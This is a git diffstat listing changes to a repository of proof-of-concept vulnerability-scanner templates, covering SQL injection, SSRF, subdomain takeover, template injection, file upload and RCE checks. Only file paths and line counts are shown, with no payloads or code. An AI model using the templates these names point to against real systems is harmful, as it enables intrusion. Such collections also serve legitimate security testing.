poc/ruby/rails-debug-mode.yaml | 17 +- .../rails-secret-token-disclosure-9809.yaml | 22 - .../rails-secret-token-disclosure-9810.yaml | 23 + poc/ruby/rails-secret-token-disclosure.yaml | 10 +- poc/ruby/rails6-xss-9797.yaml | 4 +- poc/ruby/rails6-xss-9798.yaml | 31 + poc/ruby/rails6-xss-9800.yaml | 16 +- .../ruby-on-rails-framework-exceptions.yaml | 25 + poc/samba/samba-config-9986.yaml | 20 +- poc/samba/samba-config-9987.yaml | 20 + poc/samba/samba-detect-9989.yaml | 25 + poc/samba/samba-detect-9990.yaml | 17 - poc/sap/sap-hana-xsengine-panel-10035.yaml | 2 +- poc/sap/sap-netweaver-detect-10044.yaml | 30 + poc/sap/sap-netweaver-detect-10047.yaml | 30 - poc/sap/sap-netweaver-info-leak-10049.yaml | 4 +- poc/sap/sap-netweaver-info-leak-10052.yaml | 10 +- poc/sap/sap-netweaver-info-leak.yaml | 33 + poc/sap/sap-netweaver-portal-10053.yaml | 16 - poc/sap/sap-netweaver-portal-10055.yaml | 16 + poc/sap/sap-netweaver-webgui-10057.yaml | 3 - poc/sap/sap-netweaver-webgui-10058.yaml | 20 - poc/sap/sap-netweaver-webgui-10059.yaml | 23 + poc/sap/sap-redirect-10064.yaml | 29 + poc/sap/sap-redirect-10066.yaml | 28 - poc/sap/sap-redirect-10067.yaml | 6 +- poc/sap/sap-router-info-leak.yaml | 17 +- poc/sap/sap-web-dispatcher-10078.yaml | 19 + ...sap-web-dispatcher-admin-portal-10071.yaml | 32 - ...sap-web-dispatcher-admin-portal-10072.yaml | 2 +- poc/sap/sap-web-dispatcher-admin-portal.yaml | 42 + ...her-10075.yaml => sap-web-dispatcher.yaml} | 0 poc/sap/sapfiori-panel.yaml | 16 +- poc/search/aws-opensearch-login-650.yaml | 3 +- poc/search/elasticsearch-7193.yaml | 22 - poc/search/elasticsearch-7194.yaml | 37 + poc/search/elasticsearch-7197.yaml | 25 +- .../elasticsearch-sql-client-detect-7190.yaml | 12 +- ...l => elasticsearch-sql-client-detect.yaml} | 0 poc/search/jolokia-mbean-search-8362.yaml | 30 - poc/search/jolokia-mbean-search.yaml | 13 +- poc/search/meilisearch-detect.yaml | 29 + poc/sensitive/sensitive-storage-exposure.yaml | 30 - .../exposed-sharepoint-list-7345.yaml | 28 - .../exposed-sharepoint-list-7347.yaml | 25 +- poc/shopify/shopify-custom-token-10198.yaml | 13 - ...).yaml => shopify-custom-token-11860.yaml} | 0 ...861.yaml => shopify-private-token(1).yaml} | 0 poc/shopify/shopify-shared-secret.yaml | 4 + ...10204.yaml => shopify-takeover-10201.yaml} | 0 ...token-11863.yaml => shopify-token(1).yaml} | 0 poc/smtp/esmtprc-config-7259.yaml | 11 +- poc/smtp/esmtprc-config-7260.yaml | 8 +- poc/smtp/msmtp-config-8966.yaml | 12 +- poc/smtp/msmtp-config-8967.yaml | 34 + poc/social/api-facebook-422.yaml | 31 + poc/social/api-facebook.yaml | 25 - poc/social/facebook-client-id-7385.yaml | 4 +- poc/social/facebook-client-id.yaml | 15 +- poc/social/linkedin-client-id.yaml | 16 - poc/social/linkedin-id.yaml | 3 +- poc/social/sassy-social-share-10085.yaml | 41 +- poc/social/sassy-social-share-10087.yaml | 17 + ...cket-c769c373bb9f1ffe92fbf49a67c167c6.yaml | 59 + poc/social/twitter-secret-10862.yaml | 3 + poc/social/wp-socialfit-xss-11581.yaml | 2 +- poc/sql/74cms-sqli-8.yaml | 39 +- poc/sql/74cms-sqli-9.yaml | 31 - poc/sql/74cms-sqli.yaml | 30 + poc/sql/ASUSTOR-ADM-sqli.yaml | 6 +- poc/sql/CRMEB-sqli.yaml | 2 - ...5672-486db9c86df3e8118b4d673efcb7bc70.yaml | 59 + ...3592-db8d56b4ffd71be1964e8f686279beb9.yaml | 59 + ...3594-36d7fb83c790460bdb8c61a1e30649d8.yaml | 59 + ...3644-9f7a970dbcd282a4ee231b0a1cc7dd4e.yaml | 59 + ...3921-dbf397a500a6ba8db425a10054860f95.yaml | 59 + ...4355-a903f9532766751cdbee9102a282b68d.yaml | 59 + ...4442-bfd9fc2e11f82202e3317db7b1d6b9d3.yaml | 59 + poc/sql/GLPI-9.3.3-SQL-Injection.yaml | 19 +- poc/sql/SQLInjection_ERROR.yaml | 51 + ...led-63.yaml => adb-backup-enabled-60.yaml} | 0 poc/sql/adb-backup-enabled-61.yaml | 12 +- poc/sql/adbhoney-honeypot-cnxn-detect.yaml | 34 + poc/sql/adbhoney-honeypot-shell-detect.yaml | 37 + ...> android-debug-database-exposed-312.yaml} | 0 .../android-debug-database-exposed-314.yaml | 47 +- poc/sql/api-abuseipdb-384.yaml | 2 +- ...qli-892.yaml => chamilo-lms-sqli-891.yaml} | 0 poc/sql/chamilo-lms-sqli.yaml | 26 + poc/sql/chanjet-CRM-sqli.yaml | 2 + poc/sql/couchdb-adminparty-1236.yaml | 17 +- poc/sql/couchdb-adminparty-1237.yaml | 28 - poc/sql/database-error-6768.yaml | 7 +- poc/sql/database-error.yaml | 20 + poc/sql/db-backup-lfi-6775.yaml | 30 - poc/sql/db-schema-6783.yaml | 35 - poc/sql/db-schema-6784.yaml | 9 +- poc/sql/dbeaver-credentials-6778.yaml | 48 +- poc/sql/dbeaver-credentials-6782.yaml | 7 +- poc/sql/dedecms-membergroup-sqli-6798.yaml | 30 - poc/sql/dedecms-membergroup-sqli-6799.yaml | 27 +- poc/sql/dionaea-mysql-honeypot-detect.yaml | 34 + poc/sql/duomicms-sql-injection-7122.yaml | 21 - poc/sql/duomicms-sql-injection-7125.yaml | 14 +- poc/sql/duomicms-sql-injection.yaml | 22 - poc/sql/ecology-syncuserinfo-sqli-7177.yaml | 19 +- poc/sql/ecology-syncuserinfo-sqli.yaml | 25 + poc/sql/ecology-v8-sqli-7179.yaml | 35 + poc/sql/ecology-v8-sqli.yaml | 23 - .../elasticsearch-sql-client-detect-7190.yaml | 12 +- ...l => elasticsearch-sql-client-detect.yaml} | 0 poc/sql/esafenet-mysql-fileread.yaml | 38 + ...ntor-91bbd8fd90235566c3af5b0e4d8dbe1b.yaml | 59 + poc/sql/etouch-v2-sqli-7266.yaml | 6 +- poc/sql/etouch-v2-sqli.yaml | 24 + poc/sql/exposed-adb-7280.yaml | 7 +- poc/sql/exposed-adb-7282.yaml | 28 + poc/sql/exposed-adb.yaml | 34 + ...l.yaml => exposed-mysql-initial-7322.yaml} | 0 poc/sql/exposed-mysql-initial-7323.yaml | 17 +- poc/sql/exposed-sqlite-manager-7349.yaml | 3 +- poc/sql/exposed-sqlite-manager-7350.yaml | 24 + ...izer-d129dcd91671ee29c3cf5545f48db813.yaml | 59 + poc/sql/finecms-sqli-7475.yaml | 15 +- poc/sql/finecms-sqli.yaml | 20 - poc/sql/glpi-9.3.3-sql-injection.yaml | 25 + .../grails-database-admin-console-7819.yaml | 16 + .../grails-database-admin-console-7820.yaml | 3 +- .../grails-database-admin-console-7821.yaml | 21 - poc/sql/hasura-graphql-psql-exec-7899.yaml | 8 +- poc/sql/hasura-graphql-psql-exec-7902.yaml | 13 +- poc/sql/header_sqli.yaml | 67 - poc/sql/hjsoft-eHR-system-sqli.yaml | 41 + poc/sql/huatian-oa-sqli.yaml | 34 + poc/sql/iam-db-auth.yaml | 56 + poc/sql/ibm-d2b-database-server.yaml | 43 + poc/sql/jdbc-connection-string-8246.yaml | 10 +- ...-8244.yaml => jdbc-connection-string.yaml} | 0 poc/sql/kevinlab-bems-sqli-8457.yaml | 30 + poc/sql/kevinlab-bems-sqli-8459.yaml | 22 +- poc/sql/mdb-database-file-8795.yaml | 13 +- poc/sql/mdb-database-file-8796.yaml | 10 +- poc/sql/mongodb-detect-8919.yaml | 3 +- poc/sql/mongodb-detect-8920.yaml | 20 + poc/sql/mongodb-detect.yaml | 33 + poc/sql/mongodb-info-enum.yaml | 42 + poc/sql/mongodb-ops-manager-8924.yaml | 23 + poc/sql/mongodb-ops-manager.yaml | 20 +- poc/sql/mongodb-unauth-8926.yaml | 29 - poc/sql/mongodb-unauth-8927.yaml | 6 +- poc/sql/mongodb-unauth.yaml | 31 + poc/sql/mysql-default-login.yaml | 52 + poc/sql/mysql-detect.yaml | 32 + poc/sql/mysql-info.yaml | 37 + poc/sql/mysql-native-password-8980.yaml | 18 - poc/sql/mysql-native-password.yaml | 21 +- poc/sql/nocodb-panel.yaml | 36 + poc/sql/odoo-database-manager-9202.yaml | 20 + poc/sql/odoo-database-manager-9204.yaml | 23 - poc/sql/openerp-database-9275.yaml | 2 +- poc/sql/oracle-dbass-detect-9351.yaml | 3 + poc/sql/oracle-dbass-detect.yaml | 18 + .../oracle-ebs-sqllog-disclosure-9369.yaml | 18 +- .../oracle-ebs-sqllog-disclosure-9370.yaml | 5 - .../oracle-ebs-sqllog-disclosure-9371.yaml | 30 + .../pbootcms-database-file-download-9469.yaml | 29 - poc/sql/pbootcms-database-file-download.yaml | 20 +- poc/sql/pgsql-default-db.yaml | 54 + poc/sql/pgsql-empty-password.yaml | 35 + poc/sql/pgsql-extensions-rce.yaml | 52 + poc/sql/pgsql-file-read.yaml | 48 + poc/sql/pgsql-list-database.yaml | 49 + poc/sql/pgsql-list-password-hashes.yaml | 50 + poc/sql/pgsql-list-users.yaml | 48 + poc/sql/pgsql-version-detect.yaml | 48 + poc/sql/phpmyadmin-sql-9536.yaml | 26 +- poc/sql/phpok-sqli-9538.yaml | 17 +- poc/sql/pikpikcusqli.yaml | 47 - poc/sql/privesc-sqlite3.yaml | 49 + poc/sql/psql-user-enum.yaml | 43 + poc/sql/puppetdb-detect-9717.yaml | 40 - poc/sql/python-app-sql-exceptions-9744.yaml | 26 + poc/sql/python-app-sql-exceptions.yaml | 20 - poc/sql/rails-database-config-9803.yaml | 2 +- poc/sql/rails-database-config.yaml | 22 - poc/sql/sequoiadb-default-login-10152.yaml | 10 +- poc/sql/sequoiadb-default-login.yaml | 37 - ...chat-0a7e4415bfddb98c365d97e5f2440d1c.yaml | 59 + poc/sql/simple-crm-sql-injection-10277.yaml | 12 +- poc/sql/simple-crm-sql-injection.yaml | 34 + ...iews-ae788988dbe1b0277cdaf8b92699ca4f.yaml | 59 + poc/sql/springboot-h2-db-rce-10454.yaml | 37 + poc/sql/springboot-h2-db-rce-10458.yaml | 37 - poc/sql/sql-dump-10496.yaml | 42 - poc/sql/sql-dump.yaml | 16 +- poc/sql/sql-injection.yaml | 94 +- poc/sql/sql-monitor.yaml | 20 +- poc/sql/sql-server-reporting-10509.yaml | 13 - poc/sql/sqli.yaml | 47 + poc/sql/sqli2.yaml | 86 +- poc/sql/sqli_header (copy 1).yaml | 25 + poc/sql/sqli_header-10504.yaml | 23 + poc/sql/sqli_header.yaml | 48 +- .../suspicious-sql-error-messages-10585.yaml | 43 + .../suspicious-sql-error-messages-10586.yaml | 2 +- poc/sql/symfony-database-config-10615.yaml | 2 - poc/sql/tidb-unauth-10770.yaml | 23 - poc/sql/tidb-unauth-10771.yaml | 13 +- poc/sql/tidb-unauth.yaml | 31 + poc/sql/time-sql-test.yaml | 30 +- poc/sql/ucmdb-default-login-10868.yaml | 14 +- poc/sql/ucmdb-default-login.yaml | 28 - poc/sql/unauth-psql.yaml | 47 + poc/sql/weiphp-sql-injection-11190.yaml | 11 +- poc/sql/wordpress-db-backup-listing.yaml | 10 +- poc/sql/wordpress-db-repair-11252.yaml | 20 - poc/sql/wordpress-db-repair-11254.yaml | 11 +- poc/sql/wordpress-db-repair-11255.yaml | 13 +- poc/sql/wordpress-tmm-db-migrate-11320.yaml | 23 + poc/sql/wordpress-tmm-db-migrate-11321.yaml | 2 +- ...319.yaml => wordpress-tmm-db-migrate.yaml} | 0 poc/sql/wordpress-woocommerce-sqli-11343.yaml | 38 - poc/sql/wordpress-woocommerce-sqli.yaml | 5 + poc/sql/wuzhicms-sqli-11659.yaml | 14 +- ...cms-sqli-11656.yaml => wuzhicms-sqli.yaml} | 0 poc/sql/xdcms-sqli-11664.yaml | 30 +- poc/sql/yongyou-ICurrtype-sqli.yaml | 6 +- poc/sql/yongyou-jdbcRead.yaml | 35 +- poc/sql/yongyou-u8-oa-sqli-11747.yaml | 4 + poc/sql/yongyou-u8-oa-sqli.yaml | 7 +- poc/sql/yonyou-u8-oa-sqli-11748.yaml | 26 +- poc/sql/yonyou-u8-oa-sqli.yaml | 25 - poc/sql/zcms-v3-sqli-11773.yaml | 19 +- poc/sql/zcms-v3-sqli.yaml | 21 + poc/sql_injection/74cms-sqli-8.yaml | 39 +- poc/sql_injection/74cms-sqli-9.yaml | 31 - poc/sql_injection/74cms-sqli.yaml | 30 + poc/sql_injection/ASUSTOR-ADM-sqli.yaml | 6 +- poc/sql_injection/CRMEB-sqli.yaml | 2 - poc/sql_injection/SQLInjection_ERROR.yaml | 51 + ...qli-892.yaml => chamilo-lms-sqli-891.yaml} | 0 poc/sql_injection/chamilo-lms-sqli.yaml | 26 + poc/sql_injection/chanjet-CRM-sqli.yaml | 2 + .../dedecms-membergroup-sqli-6798.yaml | 30 - .../dedecms-membergroup-sqli-6799.yaml | 27 +- .../ecology-syncuserinfo-sqli-7177.yaml | 19 +- .../ecology-syncuserinfo-sqli.yaml | 25 + poc/sql_injection/ecology-v8-sqli-7179.yaml | 35 + poc/sql_injection/ecology-v8-sqli.yaml | 23 - poc/sql_injection/etouch-v2-sqli-7266.yaml | 6 +- poc/sql_injection/etouch-v2-sqli.yaml | 24 + .../exposed-sqlite-manager-7349.yaml | 3 +- .../exposed-sqlite-manager-7350.yaml | 24 + poc/sql_injection/finecms-sqli-7475.yaml | 15 +- poc/sql_injection/finecms-sqli.yaml | 20 - poc/sql_injection/header_sqli.yaml | 67 - poc/sql_injection/hjsoft-eHR-system-sqli.yaml | 41 + poc/sql_injection/huatian-oa-sqli.yaml | 34 + .../kevinlab-bems-sqli-8457.yaml | 30 + .../kevinlab-bems-sqli-8459.yaml | 22 +- poc/sql_injection/phpok-sqli-9538.yaml | 17 +- poc/sql_injection/privesc-sqlite3.yaml | 49 + poc/sql_injection/sqli2.yaml | 86 +- poc/sql_injection/sqli_header (copy 1).yaml | 25 + poc/sql_injection/sqli_header-10504.yaml | 23 + poc/sql_injection/sqli_header.yaml | 48 +- .../wordpress-woocommerce-sqli-11343.yaml | 38 - .../wordpress-woocommerce-sqli.yaml | 5 + poc/sql_injection/wuzhicms-sqli-11659.yaml | 14 +- ...cms-sqli-11656.yaml => wuzhicms-sqli.yaml} | 0 poc/sql_injection/xdcms-sqli-11664.yaml | 30 +- poc/sql_injection/yongyou-ICurrtype-sqli.yaml | 6 +- .../yongyou-u8-oa-sqli-11747.yaml | 4 + poc/sql_injection/yongyou-u8-oa-sqli.yaml | 7 +- .../yonyou-u8-oa-sqli-11748.yaml | 26 +- poc/sql_injection/yonyou-u8-oa-sqli.yaml | 25 - poc/sql_injection/zcms-v3-sqli-11773.yaml | 19 +- poc/sql_injection/zcms-v3-sqli.yaml | 21 + poc/ssh/bitvise-ssh-detect.yaml | 35 + poc/ssh/circleci-ssh-config-928.yaml | 17 +- poc/ssh/cowrie-ssh-honeypot-detect.yaml | 36 + poc/ssh/iam-ssh-keys-rotation.yaml | 50 + poc/ssh/openssh-detect.yaml | 36 + poc/ssh/ssh-known-hosts-10524.yaml | 22 +- poc/ssh/sshd-dropbear-detect.yaml | 32 + ...l => confluence-ssrf-sharelinks-1193.yaml} | 0 poc/ssrf/confluence-ssrf-sharelinks.yaml | 36 - poc/ssrf/ibm-websphere-ssrf-8126.yaml | 29 - poc/ssrf/ibm-websphere-ssrf.yaml | 10 +- poc/ssrf/linkerd-ssrf-detect-8637.yaml | 14 +- poc/ssrf/linkerd-ssrf-detect-8639.yaml | 3 +- poc/ssrf/microstrategy-ssrf-8861.yaml | 24 - poc/ssrf/ssrf-via-oauth-misconfig-10527.yaml | 3 +- poc/ssrf/umbraco-base-ssrf-10880.yaml | 29 +- poc/ssrf/umbraco-base-ssrf.yaml | 41 + ...8.yaml => w3c-total-cache-ssrf-11080.yaml} | 0 poc/ssrf/wp-multiple-theme-ssrf-11508.yaml | 28 - poc/ssrf/wp-multiple-theme-ssrf-11511.yaml | 34 +- poc/ssrf/xmlrpc-pingback-ssrf-11687.yaml | 18 +- poc/ssrf/xmlrpc-pingback-ssrf-11688.yaml | 39 - poc/ssrf/xmlrpc-pingback-ssrf-11689.yaml | 28 + poc/ssrf/zimbra-preauth-ssrf-11811.yaml | 34 - .../acquia-takeover-34.yaml | 2 +- poc/subdomain_takeover/acquia-takeover.yaml | 40 +- .../aftership-takeover-204.yaml | 7 +- .../aftership-takeover.yaml | 22 - .../agilecrm-takeover-211.yaml | 33 +- ...keover-209.yaml => agilecrm-takeover.yaml} | 0 poc/subdomain_takeover/aha-takeover-215.yaml | 7 +- poc/subdomain_takeover/airee-takeover.yaml | 21 +- poc/subdomain_takeover/anima-takeover.yaml | 17 +- .../announcekit-takeover-321.yaml | 25 + .../announcekit-takeover.yaml | 58 +- .../aws-bucket-takeover-630.yaml | 24 + .../aws-bucket-takeover-632.yaml | 20 - .../aws-bucket-takeover.yaml | 64 +- .../azure-takeover-detection-681.yaml | 40 + .../azure-takeover-detection-682.yaml | 33 +- ...r-727.yaml => bigcartel-takeover-728.yaml} | 0 .../bigcartel-takeover.yaml | 13 +- .../bitbucket-takeover-739.yaml | 11 +- .../brightcove-takeover-783.yaml | 19 - .../brightcove-takeover-784.yaml | 20 + .../brightcove-takeover-785.yaml | 15 - .../brightcove-takeover.yaml | 3 +- ...eover-856.yaml => canny-takeover-854.yaml} | 0 .../cargo-takeover-866.yaml | 15 - .../cargo-takeover-867.yaml | 19 + .../cargo-takeover-868.yaml | 8 +- .../cargocollective-takeover-862.yaml | 8 +- .../cargocollective-takeover-863.yaml | 21 + .../cargocollective-takeover-865.yaml | 20 - poc/subdomain_takeover/fastly-takeover.yaml | 4 +- .../feedpress-takeover-7456.yaml | 19 + ...7457.yaml => feedpress-takeover-7458.yaml} | 0 .../flexbe-takeover-7505.yaml | 23 - poc/subdomain_takeover/flexbe-takeover.yaml | 2 +- .../freshdesk-takeover.yaml | 12 +- .../frontify-takeover-7544.yaml | 17 - poc/subdomain_takeover/frontify-takeover.yaml | 16 +- .../gemfury-takeover-7579.yaml | 5 +- .../getresponse-takeover.yaml | 20 +- .../ghost-takeover-7619.yaml | 13 +- .../ghost-takeover-7622.yaml | 24 + poc/subdomain_takeover/gitbook-takeover.yaml | 16 +- .../github-takeover-7659.yaml | 29 + .../github-takeover-7661.yaml | 12 +- .../github-takeover-7663.yaml | 24 - .../hatenablog-takeover-7907.yaml | 3 +- .../hatenablog-takeover-7910.yaml | 18 + .../hatenablog-takeover.yaml | 21 +- .../helpjuice-takeover-7925.yaml | 15 - .../helpjuice-takeover-7928.yaml | 18 + .../helpjuice-takeover.yaml | 17 +- .../helprace-takeover-7929.yaml | 16 + .../helprace-takeover-7930.yaml | 7 +- .../helprace-takeover-7932.yaml | 20 - .../helpscout-takeover-7936.yaml | 16 + .../heroku-takeover-7943.yaml | 18 - poc/subdomain_takeover/heroku-takeover.yaml | 8 +- .../hubspot-takeover-8077.yaml | 17 + .../hubspot-takeover-8079.yaml | 21 - .../intercom-takeover-8166.yaml | 17 - .../intercom-takeover-8168.yaml | 9 +- poc/subdomain_takeover/intercom-takeover.yaml | 19 +- ...er-8233.yaml => jazzhr-takeover-8235.yaml} | 0 .../jetbrains-takeover-8292.yaml | 15 - .../jetbrains-takeover-8293.yaml | 15 + .../jetbrains-takeover-8294.yaml | 5 +- .../kinsta-takeover-8493.yaml | 19 - .../kinsta-takeover-8495.yaml | 16 - .../launchrock-takeover-8603.yaml | 19 + ...602.yaml => launchrock-takeover-8605.yaml} | 0 .../mashery-takeover-8783.yaml | 15 + .../mashery-takeover-8785.yaml | 15 - .../medium-takeover-8797.yaml | 17 + .../medium-takeover-8798.yaml | 17 - .../netlify-takeover-9043.yaml | 25 - poc/subdomain_takeover/netlify-takeover.yaml | 24 +- ...ver-9128.yaml => ngrok-takeover-9126.yaml} | 0 poc/subdomain_takeover/pagewiz-takeover.yaml | 17 +- .../pantheon-takeover-9458.yaml | 15 - .../pantheon-takeover-9459.yaml | 19 + .../pingdom-takeover-9584.yaml | 3 +- .../pingdom-takeover-9585.yaml | 20 + .../proposify-takeover-9696.yaml | 5 +- .../readme-takeover-9843.yaml | 15 + .../readthedocs-takeover-9845.yaml | 19 - .../s3-subtakeover-9969.yaml | 24 - ...10204.yaml => shopify-takeover-10201.yaml} | 0 .../simplebooklet-takeover-10271.yaml | 15 + .../simplebooklet-takeover-10273.yaml | 3 +- .../smartjob-takeover-10322.yaml | 5 +- .../smartjob-takeover-10325.yaml | 20 + poc/subdomain_takeover/smartjob-takeover.yaml | 18 +- .../smartling-takeover.yaml | 4 +- .../smugmug-takeover-10337.yaml | 15 + .../smugmug-takeover-10340.yaml | 8 +- poc/subdomain_takeover/smugmug-takeover.yaml | 21 +- ...495.yaml => sprintful-takeover-10494.yaml} | 0 .../sprintful-takeover.yaml | 18 +- .../strikingly-takeover-10550.yaml | 10 +- .../surge-takeover-10579.yaml | 3 +- .../surveygizmo-takeover.yaml | 19 +- .../tave-takeover-10659.yaml | 15 - .../tave-takeover-10662.yaml | 18 + poc/subdomain_takeover/tave-takeover.yaml | 17 +- .../teamwork-takeover-10668.yaml | 15 + .../teamwork-takeover-10670.yaml | 15 - .../teamwork-takeover-10671.yaml | 5 +- .../tictail-takeover-10766.yaml | 17 + .../tictail-takeover-10768.yaml | 17 - .../tictail-takeover-10769.yaml | 20 + poc/subdomain_takeover/tictail-takeover.yaml | 7 +- .../tilda-takeover-10781.yaml | 20 - .../tilda-takeover-10782.yaml | 3 +- .../tilda-takeover-10783.yaml | 20 + .../tumblr-takeover-10845.yaml | 17 - .../tumblr-takeover-10846.yaml | 23 + ...0866.yaml => uberflip-takeover-10864.yaml} | 0 poc/subdomain_takeover/uberflip-takeover.yaml | 22 +- .../uptimerobot-takeover-10987.yaml | 21 + .../uptimerobot-takeover-10988.yaml | 12 +- .../uptimerobot-takeover-10989.yaml | 25 - .../uptimerobot-takeover.yaml | 20 +- .../urge-takeover-10991.yaml | 15 + .../vend-takeover-10997.yaml | 5 +- .../vend-takeover-10998.yaml | 15 - .../vend-takeover-10999.yaml | 18 + poc/subdomain_takeover/vend-takeover.yaml | 16 +- .../vercel-takeover-11001.yaml | 6 +- .../webflow-takeover-11132.yaml | 16 - .../webflow-takeover-11133.yaml | 15 + .../wishpond-takeover-11216.yaml | 16 + .../wishpond-takeover-11217.yaml | 15 - poc/subdomain_takeover/wishpond-takeover.yaml | 20 +- .../wix-takeover-11219.yaml | 16 +- .../wix-takeover-11220.yaml | 23 - .../wordpress-takeover-11310.yaml | 23 + .../wordpress-takeover-11313.yaml | 22 - .../worksites-takeover-11387.yaml | 15 + .../worksites-takeover-11388.yaml | 16 - .../worksites-takeover.yaml | 44 +- .../wufoo-takeover-11648.yaml | 17 + .../wufoo-takeover-11649.yaml | 18 - .../wufoo-takeover-11651.yaml | 5 +- .../zendesk-takeover-11780.yaml | 15 + .../zendesk-takeover-11781.yaml | 5 +- .../zendesk-takeover-11782.yaml | 15 - .../pdf-signer-ssti-to-rce-9471.yaml | 3 +- ....yaml => pdf-signer-ssti-to-rce-9472.yaml} | 0 poc/template_injection/pikpikcussti.yaml | 25 - poc/template_injection/ssti-jinja2.yaml | 1 + poc/template_injection/ssti.yaml | 22 + .../twig-php-ssti-10856.yaml | 15 - .../twig-php-ssti-10859.yaml | 23 +- ...357\274\210CVE-2023-2523\357\274\211.yaml" | 75 - poc/upload/dahua-publishing-fileupload.yaml | 25 +- .../dahua-wpms-addimgico-fileupload.yaml | 78 +- .../exposed-jquery-file-upload-7313.yaml | 21 + .../exposed-jquery-file-upload-7315.yaml | 6 +- poc/upload/exposed-jquery-file-upload.yaml | 22 + ...luftguitar-arbitrary-file-upload-8672.yaml | 32 + .../luftguitar-arbitrary-file-upload.yaml | 23 - poc/upload/oa-v9-uploads-file-9190.yaml | 36 - poc/upload/oa-v9-uploads-file-9191.yaml | 4 + ...file-9189.yaml => oa-v9-uploads-file.yaml} | 0 ...estashop-blocktestimonial-file-upload.yaml | 71 + ...tashop-cartabandonmentpro-file-upload.yaml | 49 + ...load_all.yaml => qihang-media-upload.yaml} | 0 poc/upload/showdoc-file-upload-rce-10225.yaml | 34 - poc/upload/showdoc-file-upload-rce-10228.yaml | 51 +- .../telerik-fileupload-detect-10692.yaml | 6 +- .../telerik-fileupload-detect-10693.yaml | 5 +- poc/upload/ueditor-file-upload-10876.yaml | 20 +- .../unauthenticated-popup-upload-10922.yaml | 7 +- poc/upload/uploadcare.yaml | 59 + poc/upload/wp-upload-data-11605.yaml | 29 + ...s-upload-data.yaml => wp-upload-data.yaml} | 0 poc/upload/zhiyuan-file-upload-11791.yaml | 27 - poc/upload/zhiyuan-file-upload-11794.yaml | 8 +- poc/upload/zhiyuan-file-upload-11796.yaml | 23 + .../vmware-authentication-daemon-detect.yaml | 34 + poc/vmware/vmware-horizon-11041.yaml | 10 +- .../vmware-horizon-log4j-jndi-rce-11034.yaml | 22 +- poc/vmware/vmware-horizon-log4j-jndi-rce.yaml | 38 - poc/vmware/vmware-log4j.yaml | 20 +- .../vmware-vcenter-lfi-linux-11044.yaml | 14 - .../vmware-vcenter-lfi-linux-11045.yaml | 26 +- poc/vmware/vmware-workflow-11059.yaml | 2 +- poc/web/abyss-web-server-13.yaml | 4 +- poc/web/abyss-web-server.yaml | 25 + poc/web/aix-websm-detect.yaml | 35 + ....yaml => artica-web-proxy-detect-545.yaml} | 0 poc/web/artica-web-proxy-detect.yaml | 22 - poc/web/axigen-webmail-664.yaml | 28 +- poc/web/axigen-webmail.yaml | 40 + poc/web/azkaban-web-client-676.yaml | 32 + poc/web/azkaban-web-client-679.yaml | 7 +- poc/web/azkaban-web-client-680.yaml | 30 - poc/web/boa-web-fileread.yaml | 5 - poc/web/cobbler-webgui.yaml | 20 +- poc/web/dixell-xweb500-filewrite-7018.yaml | 17 +- poc/web/dixell-xweb500-filewrite.yaml | 31 - poc/web/dynamicweb-panel-7144.yaml | 30 + poc/web/epson-web-control-detect-7242.yaml | 10 +- poc/web/epson-web-control-detect.yaml | 29 - .../ewebs-arbitrary-file-reading-7271.yaml | 23 +- .../ewebs-arbitrary-file-reading-7273.yaml | 15 +- poc/web/exposed-webalizer-7358.yaml | 18 - poc/web/exposed-webalizer-7360.yaml | 18 + poc/web/exposed-webalizer.yaml | 4 +- .../fingerprinthub-web-fingerprints-7480.yaml | 3066 +- poc/web/fingerprinthub-web-fingerprints.yaml | 2992 +- poc/web/fortiweb-panel-7539.yaml | 2 +- poc/web/fortiweb-panel.yaml | 18 +- poc/web/geovision-geowebserver-lfi-7597.yaml | 15 +- poc/web/geovision-geowebserver-lfi.yaml | 25 + poc/web/geovision-geowebserver-xss-7598.yaml | 19 +- poc/web/geovision-geowebserver-xss-7600.yaml | 19 +- poc/web/git-web-interface.yaml | 11 +- poc/web/hashicorp-consul-webgui-7897.yaml | 6 +- poc/web/honeywell-web-controller.yaml | 15 +- poc/web/ibm-websphere-ssrf-8126.yaml | 29 - poc/web/ibm-websphere-ssrf.yaml | 10 +- poc/web/icewarp-webclient-rce-8129.yaml | 3 +- poc/web/icewarp-webclient-rce-8131.yaml | 3 +- poc/web/icewarp-webclient-rce-8133.yaml | 28 + poc/web/icinga-web-login-8136.yaml | 23 - poc/web/icinga-web-login-8137.yaml | 7 +- ...8191.yaml => iplanet-web-server-8190.yaml} | 0 poc/web/iplanet-web-server.yaml | 21 - poc/web/jboss-web-console.yaml | 44 +- poc/web/microweber-detect-8863.yaml | 30 - poc/web/microweber-detect.yaml | 23 + poc/web/opennms-web-console-9285.yaml | 20 + poc/web/opennms-web-console-9287.yaml | 21 - poc/web/openwebui-panel.yaml | 34 + poc/web/oracle-iplanet-web-server-9393.yaml | 26 + ...92.yaml => oracle-iplanet-web-server.yaml} | 0 poc/web/ruijie-EWEB-rce.yaml | 5 +- ...79.yaml => saia-web-server-info-9980.yaml} | 0 poc/web/saia-web-server-info.yaml | 21 + poc/web/sap-netweaver-webgui-10057.yaml | 3 - poc/web/sap-netweaver-webgui-10058.yaml | 20 - poc/web/sap-netweaver-webgui-10059.yaml | 23 + poc/web/sap-web-dispatcher-10078.yaml | 19 + ...sap-web-dispatcher-admin-portal-10071.yaml | 32 - ...sap-web-dispatcher-admin-portal-10072.yaml | 2 +- poc/web/sap-web-dispatcher-admin-portal.yaml | 42 + ...her-10075.yaml => sap-web-dispatcher.yaml} | 0 poc/web/slack-webhook-11865.yaml | 3 - poc/web/spark-webui-unauth.yaml | 3 +- poc/web/synology-web-station-10631.yaml | 3 +- poc/web/synology-web-station.yaml | 19 - poc/web/total-web-10814.yaml | 19 - poc/web/total-web-10816.yaml | 20 + poc/web/web-config-11124.yaml | 1 - poc/web/web-ftp-detect-11136.yaml | 28 - poc/web/web-ftp-detect-11138.yaml | 5 +- poc/web/web-local-craft-11139.yaml | 3 +- poc/web/web-local-craft.yaml | 19 +- poc/web/web-service-panel.yaml | 22 +- poc/web/web-suite-detect-11168.yaml | 7 +- poc/web/webcamxp-5-11122.yaml | 34 + poc/web/webcamxp-5.yaml | 21 - poc/web/webeditors-11129.yaml | 28 + poc/web/webflow-takeover-11132.yaml | 16 - poc/web/webflow-takeover-11133.yaml | 15 + poc/web/weblogic-detect-11143.yaml | 29 + poc/web/weblogic-detect-11144.yaml | 2 +- poc/web/weblogic-iiop-detect-11148.yaml | 4 - poc/web/weblogic-iiop-detect.yaml | 15 +- poc/web/weblogic-login.yaml | 19 +- ...151.yaml => weblogic-t3-detect-11153.yaml} | 0 poc/web/weblogic-t3-detect.yaml | 62 